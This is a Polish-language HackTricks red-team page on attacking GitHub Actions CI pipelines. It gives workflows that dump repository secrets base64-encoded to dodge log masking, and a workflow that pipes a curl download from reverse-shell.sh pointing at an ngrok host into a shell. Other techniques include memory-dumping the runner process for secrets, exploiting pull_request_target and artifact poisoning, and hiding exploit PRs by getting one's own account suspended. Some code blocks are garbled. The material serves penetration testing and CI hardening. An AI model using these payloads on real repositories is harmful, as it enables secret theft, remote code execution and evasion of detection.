Abusing Github Actions

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Na tej stronie znajdziesz:

  • Podsumowanie wszystkich skutków, jakie może ponieść atakujący uzyskując dostęp do akcji Github

  • Różne sposoby uzyskania dostępu do akcji:

  • Posiadanie uprawnień do tworzenia akcji

  • Nadużywanie wywołań związanych z żądaniem ściągnięcia

  • Nadużywanie innych technik zewnętrznego dostępu

  • Przechodzenie z już skompromitowanego repozytorium

  • Na koniec sekcja dotycząca technik post-eksploatacyjnych do nadużycia akcji od wewnątrz (powodujących wspomniane skutki)

Podsumowanie skutków

Dla wprowadzenia do Akcji Github sprawdź podstawowe informacje.

W przypadku wykonywania dowolnych akcji Github/wstrzykiwania kodu w repozytorium, możesz:

  • Ukradnij sekrety z tego repozytorium/organizacji.

  • Jeśli możesz tylko wstrzyknąć, możesz ukraść to, co już jest obecne w przepływie pracy.

  • Nadużyj uprawnienia repozytorium do dostępu do innych platform, takich jak AWS i GCP.

  • Wykonaj kod w niestandardowych pracownikach (jeśli są używane niestandardowe pracowniki) i spróbuj przechodzić stamtąd.

  • Nadpisz kod repozytorium.

  • To zależy od uprawnień GITHUB_TOKEN (jeśli takie są).

  • Zakłóć wdrożenia i inne artyfakty.

  • Jeśli kod jest wdrażany lub przechowuje coś, możesz zmodyfikować to i uzyskać dalszy dostęp.

GITHUB_TOKEN

Ten "sekret" (pochodzący z ${{ secrets.GITHUB_TOKEN }} i ${{ github.token }}) jest udzielany, gdy administrator włącza tę opcję:

Ten token jest taki sam, jakiego użyje Aplikacja Github, więc może uzyskać dostęp do tych samych punktów końcowych: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github powinien wydać przepływ, który umożliwia dostęp między repozytoriami w GitHubie, dzięki czemu repozytorium może uzyskać dostęp do innych wewnętrznych repozytoriów za pomocą GITHUB_TOKEN.

Możesz zobaczyć możliwe uprawnienia tego tokenu w: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Zauważ, że token wygasa po zakończeniu zadania. Te tokeny wyglądają tak: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Kilka interesujących rzeczy, które możesz zrobić z tym tokenem:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Zauważ, że w kilku przypadkach możesz znaleźć tokeny użytkownika GitHub w zmiennych środowiskowych GitHub Actions lub w sekretach. Te tokeny mogą dać Ci większe uprawnienia w repozytorium i organizacji.

Wyświetl listę sekretów w wynikach działania GitHub

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Uzyskaj odwrotną powłokę za pomocą sekretów

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Możliwe jest sprawdzenie uprawnień udzielonych dla Tokena Github w repozytoriach innych użytkowników sprawdzając logi działań:

Dozwolone Wykonanie

To byłby najłatwiejszy sposób na skompromitowanie działań Github, ponieważ w tym przypadku zakłada się, że masz dostęp do utworzenia nowego repozytorium w organizacji, lub masz uprawnienia do zapisu w repozytorium.

Jeśli jesteś w tej sytuacji, możesz po prostu sprawdzić techniki post-eksploatacyjne.

Wykonanie poprzez Utworzenie Repozytorium

W przypadku gdy członkowie organizacji mogą tworzyć nowe repozytoria i możesz wykonywać działania github, możesz utworzyć nowe repozytorium i ukraść tajne informacje ustawione na poziomie organizacji.

Wykonanie z Nowej Gałęzi

Jeśli możesz utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowane działanie Github Action, możesz je zmodyfikować, przesłać zawartość, a następnie wykonać to działanie z nowej gałęzi. W ten sposób możesz wydobyć tajne informacje na poziomie repozytorium i organizacji (ale musisz wiedzieć, jak są one nazwane).

Możesz sprawić, że zmodyfikowane działanie będzie wykonywalne ręcznie, gdy zostanie utworzone PR lub gdy zostanie wysłany jakiś kod (w zależności od tego, jak bardzo chcesz być uciążliwy):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Wykonywanie przez rozgałęzienie

Istnieją różne wyzwalacze, które mogą umożliwić atakującemu wykonanie akcji Github z innego repozytorium. Jeśli te akcje wyzwalające są źle skonfigurowane, atakujący może je skompromitować.

pull_request

Wyzwalacz workflow pull_request uruchomi workflow za każdym razem, gdy zostanie otrzymany pull request, z pewnymi wyjątkami: domyślnie, jeśli jest to pierwszy raz, gdy współpracujesz, jakiś opiekun będzie musiał zatwierdzić uruchomienie workflow:

Ponieważ domyślne ograniczenie dotyczy nowych współpracowników, możesz przyczynić się do naprawy ważnego błędu/pomyłki i następnie wysłać inne PR-y, aby nadużyć nowych uprawnień pull_request.

Przetestowałem to i nie działa: Inną opcją byłoby utworzenie konta o nazwie osoby, która przyczyniła się do projektu i usunęła swoje konto.

Co więcej, domyślnie zapobiega dostępowi do zapisu i sekretnym informacjom w repozytorium docelowym, jak wspomniano w dokumentacji:

Z wyjątkiem GITHUB_TOKEN, sekrety nie są przekazywane do wykonawcy podczas uruchamiania workflow z rozgałęzionego repozytorium. GITHUB_TOKEN ma uprawnienia tylko do odczytu w pull requestach z rozgałęzionych repozytoriów.

Atakujący mógłby zmodyfikować definicję akcji Github w celu wykonania arbitralnych działań i dołączenia arbitralnych akcji. Niemniej jednak nie będzie mógł ukraść sekretów ani nadpisać repozytorium ze względu na wspomniane ograniczenia.

Tak, jeśli atakujący zmieni w PR akcję Github, która zostanie wywołana, jego akcja Github będzie używana, a nie ta z repozytorium źródłowego!

Ponieważ atakujący kontroluje również kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu w GITHUB_TOKEN, atakujący mógłby na przykład przesłać złośliwe artefakty.

pull_request_target

Wyzwalacz workflow pull_request_target ma uprawnienia do zapisu w repozytorium docelowym i dostęp do sekretów (i nie prosi o zgodę).

Zauważ, że wyzwalacz workflow pull_request_target uruchamia się w kontekście bazowym a nie w tym podanym przez PR (aby nie wykonywać niezaufanego kodu). Aby uzyskać więcej informacji na temat pull_request_target sprawdź dokumentację. Ponadto, aby uzyskać więcej informacji na temat tego konkretnego niebezpiecznego użycia, sprawdź ten post na blogu Githuba.

Może się wydawać, że ponieważ uruchamiany workflow jest zdefiniowany w bazowym a nie w PR, jest bezpieczne korzystanie z pull_request_target, ale istnieją przypadki, w których nie jest.

A ten będzie miał dostęp do sekretów.

workflow_run

Wyzwalacz workflow_run pozwala uruchomić workflow z innego, gdy jest completed, requested lub in_progress.

W tym przykładzie workflow jest skonfigurowane do uruchomienia po zakończeniu oddzielnego workflow "Run Tests":

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Ponadto, zgodnie z dokumentacją: Przepływ rozpoczęty przez zdarzenie workflow_run ma dostęp do tajemnic i możliwość zapisywania tokenów, nawet jeśli poprzedni przepływ tego nie robił.

Tego rodzaju przepływ może być zaatakowany, jeśli zależy on od przepływu, który może zostać uruchomiony przez zewnętrznego użytkownika za pośrednictwem pull_request lub pull_request_target. Kilka przykładów podatnych przypadków można znaleźć w tym blogu. Pierwszy polega na tym, że **przepływ uruchomiony przez workflow_run pobiera kod atakującego: ${{ github.event.pull_request.head.sha }} Drugi polega na przekazywaniu artefaktu z niezaufanego kodu do przepływu workflow_run i używaniu zawartości tego artefaktu w sposób, który czyni go podatnym na RCE.

workflow_call

TODO

TODO: Sprawdź, czy podczas wykonywania z pull\_request użyty/pobrany kod pochodzi z oryginału czy z forka PR

Nadużycie Wykonania z Forka

Wymieniliśmy wszystkie sposoby, w jakie zewnętrzny atakujący mógłby zmusić przepływ github do wykonania, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystane:

Wykonanie niezaufanego checkoutu

W przypadku pull_request, przepływ zostanie wykonany w kontekście PR (więc wykonany zostanie złośliwy kod PR), ale ktoś musi go autoryzować najpierw i będzie działał z pewnymi ograniczeniami.

W przypadku przepływu korzystającego z pull_request_target lub workflow_run, który zależy od przepływu, który może być uruchomiony z pull_request_target lub pull_request, kod z oryginalnego repozytorium zostanie wykonany, więc atakujący nie może kontrolować wykonanego kodu.

Jednak jeśli akcja ma wyraźne sprawdzenie PR, które pobierze kod z PR (a nie z bazy), zostanie użyty kod kontrolowany przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):

# NIEBEZPIECZNE. Przedstawione tylko jako przykład.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Potencjalnie niezaufany kod jest uruchamiany podczas npm install lub npm build ponieważ skrypty budowania i używane pakiety są kontrolowane przez autora PR.

Dork githubowy do wyszukiwania podatnych akcji to: event.pull_request pull_request_target extension:yml jednak istnieją różne sposoby konfigurowania zadań do bezpiecznego wykonania, nawet jeśli akcja jest skonfigurowana niebezpiecznie (np. używając warunków dotyczących tego, kto jest aktorem generującym PR).

Wstrzykiwanie Skryptów Kontekstowych

Zauważ, że istnieją pewne konteksty githuba, których wartości są kontrolowane przez użytkownika tworzącego PR. Jeśli akcja githuba używa tych danych do wykonania czegokolwiek, może to prowadzić do wykonania dowolnego kodu:

pageGh Actions - Context Script Injections

Wstrzykiwanie Skryptów GITHUB_ENV

Z dokumentacji: Możesz udostępnić zmienną środowiskową do wszystkich kolejnych kroków w zadaniu przepływu, definiując lub aktualizując zmienną środowiskową i zapisując ją do pliku środowiskowego GITHUB_ENV.

Jeśli atakujący mógłby wstrzyknąć jakąkolwiek wartość do tej zmiennej env, mógłby wstrzyknąć zmienne środowiskowe, które mogłyby wykonać kod w następnych krokach, takie jak LD_PRELOAD lub NODE_OPTIONS.

Na przykład (to i to), wyobraź sobie przepływ, który ufa przesłanemu artefaktowi, aby przechować jego zawartość w zmiennej środowiskowej GITHUB_ENV. Atakujący mógłby przesłać coś takiego, aby go skompromitować:

Podatne Akcje Githuba od Firm Trzecich

Jak wspomniano w tym wpisie na blogu, ta Akcja Githuba pozwala na dostęp do artefaktów z różnych przepływów i nawet repozytoriów.

Problem polega na tym, że jeśli parametr path nie jest ustawiony, artefakt jest wypakowywany w bieżącym katalogu i może nadpisać pliki, które mogą być później używane lub nawet wykonane w przepływie. Dlatego, jeśli Artefakt jest podatny, atakujący mógłby wykorzystać to do skompromitowania innych przepływów ufających Artefaktowi.

Przykład podatnego przepływu:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

To można zaatakować za pomocą tego workflow:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Inne zewnętrzne dostępy

Przechwycenie Repozytorium Usuniętej Przestrzeni Nazw

Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto o tej samej nazwie po pewnym czasie. Jeśli repozytorium miało mniej niż 100 gwiazdek przed zmianą nazwy, Github pozwoli nowo zarejestrowanemu użytkownikowi o tej samej nazwie utworzyć repozytorium o tej samej nazwie jak usunięte.

Jeśli działanie korzysta z repozytorium nieistniejącego konta, nadal istnieje możliwość, że atakujący może utworzyć to konto i naruszyć działanie.

Jeśli inne repozytoria korzystały z zależności z repozytoriów tego użytkownika, atakujący będzie mógł je przejąć. Tutaj znajdziesz bardziej kompletną wyjaśnienie: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Przechwytywanie Repozytorium

W tej sekcji omówimy techniki, które pozwolą na przejście z jednego repozytorium do drugiego, zakładając, że mamy pewien rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję).

Zatrucie Cache

Pamięć podręczna jest utrzymywana między uruchomieniami przepływu pracy w tej samej gałęzi. Oznacza to, że jeśli atakujący naruszy pakiet, który jest następnie przechowywany w pamięci podręcznej i pobrany oraz wykonany przez przepływ pracy o wyższych uprawnieniach, będzie mógł również naruszyć ten przepływ pracy.

pageGH Actions - Cache Poisoning

Zatrucie Artefaktów

Przepływy pracy mogą korzystać z artefaktów z innych przepływów pracy i nawet repozytoriów, jeśli atakujący zdoła naruszyć Akcję Github, która przesyła artefakt, który później jest używany przez inny przepływ pracy, może naruszyć inne przepływy pracy:

pageGh Actions - Artifact Poisoning

Po Wykorzystaniu z Działania

Dostęp do AWS i GCP za pomocą OIDC

Sprawdź następujące strony:

pageAWS - Federation AbusepageGCP - Federation Abuse

Dostęp do sekretów

Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak uzyskać dostęp do sekretów:

  • Jeśli sekret lub token jest ustawiony jako zmienna środowiskowa, można go bezpośrednio uzyskać poprzez środowisko za pomocą printenv.

Wyświetl sekrety w wyniku działania Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Uzyskaj odwrotną powłokę za pomocą sekretów</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Jeśli sekret jest używany bezpośrednio w wyrażeniu, wygenerowany skrypt powłoki jest przechowywany na dysku i jest dostępny.

cat /home/runner/work/_temp/*

* Dla działań w języku JavaScript sekrety są przesyłane za pomocą zmiennych środowiskowych
* ```bash
ps axe | grep node
  • Dla niestandardowej akcji, ryzyko może się różnić w zależności od tego, w jaki sposób program wykorzystuje sekret uzyskany z argumentu:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Nadużywanie własnych maszyn

Sposób na znalezienie, które działania Github Actions są wykonywane w infrastrukturze spoza Githuba, polega na wyszukiwaniu runs-on: self-hosted w konfiguracji yaml działania Github.

Maszyny własne mogą mieć dostęp do bardziej wrażliwych informacji, do innych systemów sieciowych (narażonych punktów końcowych w sieci? usługi metadanych?) lub, nawet jeśli jest izolowana i zniszczona, może być uruchomionych więcej niż jedno działanie jednocześnie, a złośliwe działanie może ukraść sekrety z innego.

Na maszynach własnych można również uzyskać sekrety z procesu _Runner.Listener, który będzie zawierał wszystkie sekrety workflow w dowolnym kroku, poprzez zrzucenie jego pamięci:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Sprawdź ten post po więcej informacji.

Rejestr obrazów Docker w Github

Możliwe jest stworzenie działań Github, które będą budować i przechowywać obraz Docker w Githubie. Przykład można znaleźć w poniższym rozwijanym bloku:

Akcja Github Build & Push obrazu Docker

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Jak można zauważyć w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.

Użytkownik z uprawnieniami do odczytu repozytorium będzie w stanie pobrać obraz Dockera, używając tokena dostępu osobistego:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Następnie użytkownik mógłby szukać wyciekłych sekretów w warstwach obrazu Docker:

Wrażliwe informacje w logach działań Github Actions

Nawet jeśli Github próbuje wykryć wartości sekretne w logach działań i unika ich pokazywania, inne wrażliwe dane, które mogły zostać wygenerowane podczas wykonywania akcji, nie zostaną ukryte. Na przykład JWT podpisany wartością sekretną nie zostanie ukryty, chyba że jest to specjalnie skonfigurowane.

Zacieranie śladów

(Technika z tutaj) Po pierwsze, każde PR podniesione jest jasno widoczne publicznie w Github i dla docelowego konta GitHub. W GitHub domyślnie nie możemy usunąć PR z internetu, ale jest haczyk. Dla kont GitHub, które są zawieszone przez Github, wszystkie ich PR są automatycznie usuwane i usunięte z internetu. Więc aby ukryć swoją aktywność, musisz albo zawiesić swoje konto GitHub albo oznaczyć swoje konto. Spowoduje to, że wszystkie twoje działania na GitHubie zostaną ukryte przed internetem (w zasadzie usunięte wszystkie twoje PR z exploitami)

Organizacja w GitHub jest bardzo aktywna w zgłaszaniu kont do GitHub. Wystarczy udostępnić "trochę rzeczy" w Problemie, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, zrobiłeś swoje wykorzystanie niewidoczne na githubie.

Jedynym sposobem dla organizacji, aby dowiedzieć się, że zostały zaatakowane, jest sprawdzenie logów GitHub z SIEM, ponieważ z interfejsu GitHub PR zostanie usunięty.

Narzędzia

Następujące narzędzia są przydatne do znalezienia przepływów pracy Github Actions i nawet znalezienia podatnych:

Last updated